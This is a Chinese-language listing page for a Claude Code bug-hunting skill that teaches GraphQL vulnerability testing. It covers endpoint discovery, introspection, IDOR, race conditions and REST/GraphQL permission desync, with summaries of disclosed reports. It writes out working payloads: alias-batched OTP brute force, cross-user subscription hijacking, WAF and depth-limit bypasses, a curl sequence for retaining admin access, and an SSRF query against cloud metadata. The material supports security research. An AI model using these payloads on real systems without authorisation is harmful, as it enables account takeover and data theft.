mcpField
H
hunt-graphql

hunt-graphql

github.com/elementalsouls安全5.3k290 次安装今天更新
代码仓库

关于 hunt-graphql

面向安全研究人员的 GraphQL 漏洞狩猎技能,提供端点发现、模式映射和授权测试流程。重点关注 GraphQL 与 REST 交互产生的状态不同步及权限持久化问题。

主要功能

  1. 01GraphQL 端点与技术栈侦察
  2. 02模式枚举与关系映射
  3. 03REST 与 GraphQL 重叠面分析
  4. 04授权边界及状态不同步测试
  5. 05批量查询与竞态条件探测
  6. 06漏洞影响验证与复现记录

适用场景

  1. 01检查 API 间权限撤销是否一致
  2. 02测试全局 ID 的越权访问
  3. 03评估别名批处理和速率限制
  4. 04复现并记录 GraphQL 竞态漏洞

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-graphql

安装后在 Claude Code 中输入/hunt-graphql确认已加载。

详细介绍

高价值目标

GraphQL 漏洞价值很高,因为其攻击面既广又深——单个端点就可能暴露完整的数据模型、权限提升路径以及跨 API 状态混淆。最高额的赏金通常来自:

  • 平台 API(GitHub、Shopify、Stripe 级别的目标),其中 GraphQL mutation 会与管理相同资源的 REST API 交互
  • GraphQL mutation 与 REST 端点之间的竞态条件,状态同步不是原子操作——这类漏洞通常能稳定达到中到高严重性
  • 授权持久化漏洞,团队/组织/仓库成员状态由一个 API 控制,却能由另一个 API 读取/写入
  • B2B SaaS 平台,一个租户通过遍历 schema 影响另一个租户=严重漏洞
  • 意外向低权限用户暴露的内部管理 GraphQL 端点

GitHub 报告展示了高价值漏洞的典型模式:本应撤销的权限仍然有效,因为两个 API 对真实状态的认定不一致。


攻击面信号

URL 模式:

/graphql
/api/graphql
/v1/graphql
/query
/gql
/graph
/api/v2/graphql
/internal/graphql

响应标头:

Content-Type: application/json  (with query body)
X-Request-Id + no REST-style path params = likely GraphQL

JavaScript 源码模式:

// grep for these in JS bundles
"query {"
"mutation {"
"__typename"
"apollo"
"ApolloClient"
"graphql-tag"
"gql`"
"operationName"
"GRAPHQL_URI"

技术栈信号:

  • JS bundle 中的 Apollo Server/Client
  • React 应用中的 Relay
  • graphene 或 strawberry(Python)、graphql-ruby、gqlgen(Go)、Lighthouse(Laravel)
  • Burp 历史记录中请求体为 {"query": "..."} 的 POST 请求
  • 任意响应中出现 __schema 或 __type =确认存在 GraphQL

侦察来源:

  • 在 github.com 搜索:"graphql" site:target.com
  • 使用 Wayback Machine 查找 /graphql 路径
  • 使用 LinkFinder 或 getallurls 扫描 JS bundle

逐步狩猎方法

  1. 发现端点——爬取 JS bundle,检查 /graphql、/api/graphql,并查看 Burp 被动扫描中 application/json POST 请求的查询字段命中项

  2. 测试内省功能——发送完整的内省查询。即使被拦截,也要尝试枚举字段:

    { __typename }
    

    如果返回结果,说明内省功能可能只被部分拦截,但仍可发现 schema

  3. 映射完整 schema——使用 InQL(Burp 扩展)或 graphql-voyager 可视化关系。具体查找:

    • 修改所有权、权限或成员身份的 mutation
    • 与 REST API 功能对应的 mutation
  4. 识别 REST/GraphQL 重叠部分——记录所有既能通过 REST 又能通过 GraphQL 修改的资源。这些双写操作面就是你的竞态条件目标。

  5. 逐个 mutation 测试授权边界——以低权限用户身份重放 mutation。服务器执行的授权检查是否与对应的 REST 调用一致?

  6. 狩猎跨 API 状态不同步问题——查找以下操作序列:

    • REST 操作本应撤销访问权限
    • GraphQL mutation 重新授予或保留该权限
    • 测试操作顺序:先 REST → 再 GraphQL → 检查状态;然后先 GraphQL → 再 REST → 检查状态
  7. 测试角色/成员身份变更后权限是否仍然存在——通过 REST 移除用户,然后调用该资源对应的 GraphQL mutation。通过两个 API 查询当前状态并进行比较。

  8. 探测 node ID 中的 IDOR——GraphQL 全局 ID 通常会编码对象类型和 ID。跨对象边界以及不同账户上下文替换 ID。

  9. 检查批量查询滥用——发送操作数组,以绕过速率限制或扩大枚举范围。

  10. 记录准确的复现步骤——对于竞态条件漏洞,必须确保基于时间顺序的步骤可确定性地复现。


载荷与检测模式

完整内省查询:

{
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
        }
      }
    }
  }
}

最小内省探测(绕过尝试):

{ __typename }

curl 内省测试:

curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{"query":"{ __schema { queryType { name } } }"}' | jq .

字段建议探测(绕过盲目内省拦截):

{ unknownField }

如果响应返回 "Did you mean: [realFieldName]?",则说明即使内省已禁用,仍可枚举架构。

批量查询放大:

[
  {"query": "{ user(id: 1) { email } }"},
  {"query": "{ user(id: 2) { email } }"},
  {"query": "{ user(id: 3) { email } }"}
]

订阅劫持(跨用户频道访问):

subscription { messageAdded(channelId: "OTHER_USERS_CHANNEL") { content sender { email } } }

如果订阅没有按用户进行范围限制,攻击者就能接收来自其他用户频道或对话的实时事件。

通过别名批处理暴力破解多组 OTP/2FA 验证码:

mutation { 
  v1: verifyOtp(code:"000001"){token} 
  v2: verifyOtp(code:"000002"){token}
  v3: verifyOtp(code:"000003"){token}
}

单个 GraphQL 请求会使用不同的 OTP 验证码为同一个 mutation 设置别名。结合并行 HTTP,这可以绕过每请求速率限制,并将暴力破解尝试压缩到更少的网络往返中。

RC desync 测试模式(伪序列):

# Step 1: Grant access via REST
curl -X PUT https://api.target.com/repos/ORG/REPO/teams/TEAM \
  -H "Authorization: token ADMIN_TOKEN" \
  -d '{"permission":"admin"}'

# Step 2: Revoke via REST  
curl -X DELETE https://api.target.com/repos/ORG/REPO/teams/TEAM \
  -H "Authorization: token ADMIN_TOKEN"

# Step 3: Re-assert via GraphQL mutation
curl -X POST https://api.target.com/graphql \
  -H "Authorization: bearer ATTACKER_TOKEN" \
  -d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: \"REPO_ID\", teamId: \"TEAM_ID\", permission: ADMIN}) { clientMutationId } }"}'

# Step 4: Verify persistent access
curl https://api.target.com/repos/ORG/REPO/teams \
  -H "Authorization: token ADMIN_TOKEN"

在 JS bundle 中搜索 GraphQL:

grep -Eo '(query|mutation|subscription)\s+\w+\s*[\({]' bundle.js
grep -Eo '"(/[a-z0-9/_-]*graphql[a-z0-9/_-]*)"' bundle.js

GraphQL 内省与审计工具:

# InQL (Burp extension) — visualize GraphQL schema and relationships
inql -t https://target/graphql --generate-queries

# Clairvoyance — brute-force field names when introspection is disabled
python3 clairvoyance.py -u https://target/graphql -H "Authorization: Bearer TOKEN" -w wordlist.txt -o schema.json

# GraphQL Cop — scan for common misconfigurations (introspection enabled, no depth limits, etc.)
graphql-cop -t https://target/graphql

常见根本原因

  1. 双写但未进行原子锁定 — 开发者分别在 REST 和 GraphQL 中实现对同一资源的修改。对于该资源,两个系统彼此互不知情。状态更新既未串行化,也未进行比较。

  2. 授权中间件不一致 — REST 端点经过一层身份验证(例如中间件链),GraphQL 解析器则经过另一种解析器级检查。同一操作,执行的权限控制却不同。

  3. 将 GraphQL 作为“新 REST”迁移 — 团队添加与 REST 功能相对应的 GraphQL mutation,却未审核权限模型。GraphQL 版本尚不成熟,遗漏了 REST 版本随时间积累的检查。

  4. 生产环境仍启用内省 — 默认框架设置(Apollo、Graphene)会在所有环境中启用内省。开发者忘记将其禁用,并把它当作“只是文档”。

  5. 信任节点 ID,但不重新授权 — GraphQL 全局 ID(base64("ObjectType:123"))解码后便被直接信任,未验证请求用户是否有权访问该特定对象。

  6. 未同步 mutation 的副作用 — 当 REST 操作触发级联效果(例如移除团队成员会级联撤销权限)时,对应的 GraphQL mutation 却未触发相同的级联操作。


绕过技术

防御:禁用内省

  • 通过字段建议错误绕过 — 发送无效字段名,并解析“did you mean X?”响应
  • 使用 clairvoyance,根据单词列表暴力猜测字段名
  • 检查 JS bundle 中是否有可揭示架构的硬编码查询字符串

防御:深度限制

  • 使用片段展开,在不触发限制的情况下增加有效深度:
fragment F on User { repos { teams { members { ...F } } } }

防御:按 IP 限速

  • 使用批量操作(在一个 POST 中发送查询数组)
  • 通过多个已验证身份的会话进行分发

防御:mutation 上的身份验证检查

  • 使用不同权限级别(查看者、成员、管理员)的令牌进行测试
  • 测试未验证身份的情况 — 部分 mutation 完全不检查会话
  • 使用来自不同组织的令牌进行测试 — 多租户 IDOR

防御:WAF 屏蔽 __schema

  • 为内省字段设置别名:
{ s: __schema { t: types { n: name } } }
  • 使用 HTTP 参数污染或备用 Content-Type 标头

防御:操作白名单(持久化查询)

  • 检查 extensions.persistedQuery 哈希不匹配时,服务器是否会回退到临时查询
  • 查找非白名单端点(开发、预发布、内部代理)
别名批处理:何时能赢得竞态,何时不能

一种常见说法是“别名批处理可以绕过单用户速率限制和防止双重消费的保护”。这是否真的有效,取决于解析器执行模型:

解析器类型对别名变更的处理方式别名批处理能赢得竞态吗?
多线程 / DataLoader 批处理异步别名并发运行,通过批处理共享状态是 — 单个 HTTP 请求即可将竞态目标放大 N 倍
单线程 / 每个请求使用单个数据库连接别名串行运行;第一个变更会关上大门否 — 需结合并行 HTTP 请求
分布式网关(Apollo Federation)子查询并发分发到子图取决于每个子图

验证示例(单线程 Flask + SQLite 解析器):

  • 在一个请求中发送 10 个别名 redeemCoupon 变更 → 只有 r1 成功,r2-r10 均因 already_redeemed 失败。仅靠别名批处理还不够。
  • 将相同的 10 个变更作为 20 个并行 HTTP POST 请求发送 → 成功 20 次(从一张 100 美元的优惠券中兑换出 2000 美元)。

操作规则: 将别名批处理视为单次往返时间的侦察原语。利用竞态目标时,应结合 hunt-race-condition 的并行 HTTP / Turbo Intruder 单数据包攻击。已在 docs/verification/phase2e-jwt-graphql-race.md 的测试 11 与测试 12 中验证。


Gate 0 验证

  1. 攻击者现在可以做什么? 必须是具体行为:访问本不应看到的数据、撤销后仍保留权限、修改其他用户的资源。仅“可以看到架构”还不够 — 架构能解锁什么?

  2. 受害者会失去什么? 必须是真实资产:数据机密性、访问控制完整性、组织安全保障。对于 RC 模式:组织管理员失去了“移除团队即可撤销所有访问权限”这一保障。这违反了安全约定。

  3. 能否从头开始在 10 分钟内复现? 对于 RC / 脱同步漏洞:写出准确的 curl 命令序列,并运行两次。如果权限可确定性地持续存在(而非依赖时序、时好时坏),则可以报告。如果需要碰运气才能赶上毫秒级时机,请记录时间窗口,并在低负载时段进行测试。


真实影响案例

场景 A — 团队移除后暗中保留管理员权限(GitHub 模式) 攻击者原本通过团队成员身份合法获得了某个仓库的管理员权限。组织管理员通过 REST API 将其移除。在移除完成前,攻击者调用 updateTeamsRepository GraphQL mutation,将其团队重新关联并赋予管理员权限。REST 移除操作与 GraphQL 重新授权造成状态不同步:界面显示团队已被移除,但 GraphQL 状态仍保留管理员级别的访问权限。攻击者得以无限期暗中保留该仓库的写入权限——既可推送代码,也可读取 CI/CD 中的机密——却不会出现在团队成员列表中。组织审计也无法清除这一状态。

场景 B — 通过仓库转移竞态暗中保留访问权限(GitHub 模式) 拥有管理员权限的攻击者通过 REST API 发起仓库转移,将仓库转移到另一个组织。在转移期间或之后,攻击者对现已转移的仓库 ID 调用 updateTeamsRepository。由于 GraphQL mutation 对当前组织所有权状态的校验与 REST 转移事件不同步,攻击者原先所在的团队仍保留对该仓库的管理员权限,而仓库此时已归另一个组织所有。接收方组织无法看到这一团队关联。攻击者可以窃取其并无合法关系的组织的知识产权。

场景 C — 内省是侦察工作的前置条件(Shopify 模式) 在一个按计划规则有意启用内省的平台上,安全研究人员梳理了完整的 schema,并发现了公共文档中未提及的 fulfillmentOrderMove 和 inventoryAdjust mutation。这些 mutation 接受商家 ID 作为参数,但从 schema 中看不到任何作用域校验。此类侦察可直接用于针对商家间数据隔离开展 IDOR 测试——内省本身的严重性为零,但它是发现严重漏洞的切入点。


已披露报告引用(补充 +9 — 2019-2024)

以下是经核实的真实漏洞赏金/协调披露案例,补充了最初的 3 个内部参考案例,扩展了本技能的覆盖范围。每个案例都属于不同的 GraphQL 子类别,并且引用的报告中记录了可运行的 PoC。

  1. HackerOne — 通过 GraphQL User 类型暴露机密用户数据(H1 #489146)

    • 子类别:字段级授权缺失(PII 暴露)
    • Payload:直接查询 user(id:...),返回 email、backup_codes_hash、facebook_user_id、account_recovery_phone_number_verified_at、totp_enabled
    • 根本原因:后端迁移引入了一个缺少字段级授权的 GraphQL User 类型;任何已认证用户都可以枚举所有用户的 PII
    • 年份:2019 — $20,000,1,028 次点赞
  2. HackerOne — DestroyLlmConversation mutation IDOR(Copilot 发布前)(H1 #2218334)

    • 子类别:AI/LLM 功能中的 mutation IDOR
    • Payload:mutation { destroyLlmConversation(input:{id:"<victim_conv_id>"}) { … } }
    • 根本原因:新推出的 LLM 对话 mutation 未添加授权装饰器;任何用户都可以销毁任何对话
    • 年份:2023 — 在发布前发现,无漏洞赏金(202 次点赞)
  3. Shopify — BillingDocumentDownload 跨租户 IDOR(H1 #2207248)

    • 子类别:跨租户的 relay GID IDOR
    • Payload:query { billingDocumentDownload(id:"gid://shopify/BillingInvoice/<other_shop_id>") { url } }
    • 根本原因:BillingInvoice resolver 对请求方的店铺进行了授权,但未验证发票是否属于该店铺
    • 年份:2024 — $5,000,175 次点赞
  4. Shopify — 利用负数成本绕过速率限制(H1 #481518)

    • 子类型:滥用查询成本计算(与别名批处理属于同类模式)
    • Payload:query { products(first:-100) { … } } — 负数 first 产生负的查询成本贡献,每次调用都会为漏桶补充额度
    • 根本原因:查询成本计算器没有将结果下限设为零;负值会从已消耗的额度中扣除
    • 年份:2019 — $1,000
  5. Stripe — 通过 UpdateAtlasApplicationPerson 实现跨租户 IDOR(H1 #1066203)

    • 子类型:突变操作中的跨租户 IDOR
    • Payload:mutation { updateAtlasApplicationPerson(input:{personId:"<victim_person_id>", …}) } — 在其他商家的 Stripe Atlas 申请中添加或修改联合创始人
    • 根本原因:该突变仅检查“是否为某个商家的管理员”,而未检查“是否为拥有此人员的商家的管理员”
    • 年份:2020 — 奖金未披露(已解决)
  6. EXNESS — GraphQL allTicks 查询中的 SSRF(H1 #1864188)

    • 子类型:通过 GraphQL 参数实现 SSRF
    • Payload:query { allTicks(source:"http://169.254.169.254/latest/meta-data/") { … } } — source 参数被传入服务端 HTTP 客户端
    • 根本原因:GraphQL 字段接受 URL 参数并直接访问,未设置 scheme/host 允许列表
    • 年份:2023 — $3,000,249 票赞同
  7. EXNESS — GraphQL 属性批处理 DoS(H1 #2293642)

    • 子类型:通过批处理/深层属性放大对未认证端点发起 DoS
    • Payload:单个 HTTP 请求包含 N 个批处理操作,每个操作都请求深度嵌套的属性树,持续发送直至源站 OOM
    • 根本原因:未认证的 /graphql 没有查询深度、查询复杂度或批处理大小限制
    • 年份:2024 — 奖金未披露(已解决)
  8. GitLab — 通过 runnerUpdate 关联恶意 Runner(CVE-2023-2478)(公告)

    • 子类型:突变操作中的身份验证绕过/缺少项目范围检查
    • Payload:mutation { runnerUpdate(input:{id:"<attacker_runner_gid>", associatedProjects:["<victim_project_gid>"]}) }
    • 根本原因:runnerUpdate 未检查调用者是否在目标项目中拥有 Maintainer 权限——任何用户都可以绑定自己的恶意 Runner 并截获 CI 作业(构建机密、代码执行)
    • 年份:2023 — 严重,CVSS 9.6(H1 奖金未披露;GitLab 严重级别通常为 $20k–$35k)
  9. AS Watson — 通过不受限制的 createAdminUser 突变绕过身份验证(HackerOne 博客)

    • 子类型:无需身份验证即可访问敏感突变(借助内省发现)
    • Payload:通过内省枚举 schema 后,在未认证状态下调用 mutation { createAdminUser(input:{email:"x@x", role:"ADMIN", password:"…"}) { token } }
    • 根本原因:schema 缺少逐字段授权指令;createAdminUser 向公共角色开放
    • 年份:2023 — 获得 HackerOne Ambassador World Cup 的“最佳漏洞”奖

相关技能与攻击链

  • hunt-idor — GraphQL 的 node(id:) 和全局 Relay ID 解析器是 IDOR 的温床:形式相同,却没有作用域限制。攻击链原语:GraphQL 内省 + IDOR(node() 解析器)→ 重放经过 Base64 解码的 type:id,以跨租户访问数据。
  • hunt-api-misconfig — GraphQL 变更是批量赋值的重灾区:客户端发送完整输入对象,服务端进行合并。攻击链原语:GraphQL 变更 + 额外字段(isAdmin:true、verified:true)→ 批量赋值 → 权限提升。
  • hunt-business-logic — GraphQL 别名允许在单个请求中调用同一变更 N 次,从而绕过每请求速率限制。攻击链原语:带别名的变更 + 业务逻辑缺陷 → 在单次网络往返中兑换优惠券 N 次。
  • hunt-race-condition — GraphQL 批处理会将 N 个变更合并到一个 HTTP 数据包中,是理想的单包竞态载体。攻击链原语:GraphQL 批处理 + 竞态 → 缺少原子更新 → 余额被双重消费。
  • security-arsenal — 加载 GraphQL Payload Pack:内省查询、模式建议错误探测、别名放大模板、深度炸弹 DoS 载荷、批量攻击模板。
  • triage-validation — 应用 Body-Diff Rule:仅内省属于信息性发现;提交前必须提供具体的跨租户读取 PoC,或具有实际影响的变更 PoC。

评论

支持 Markdown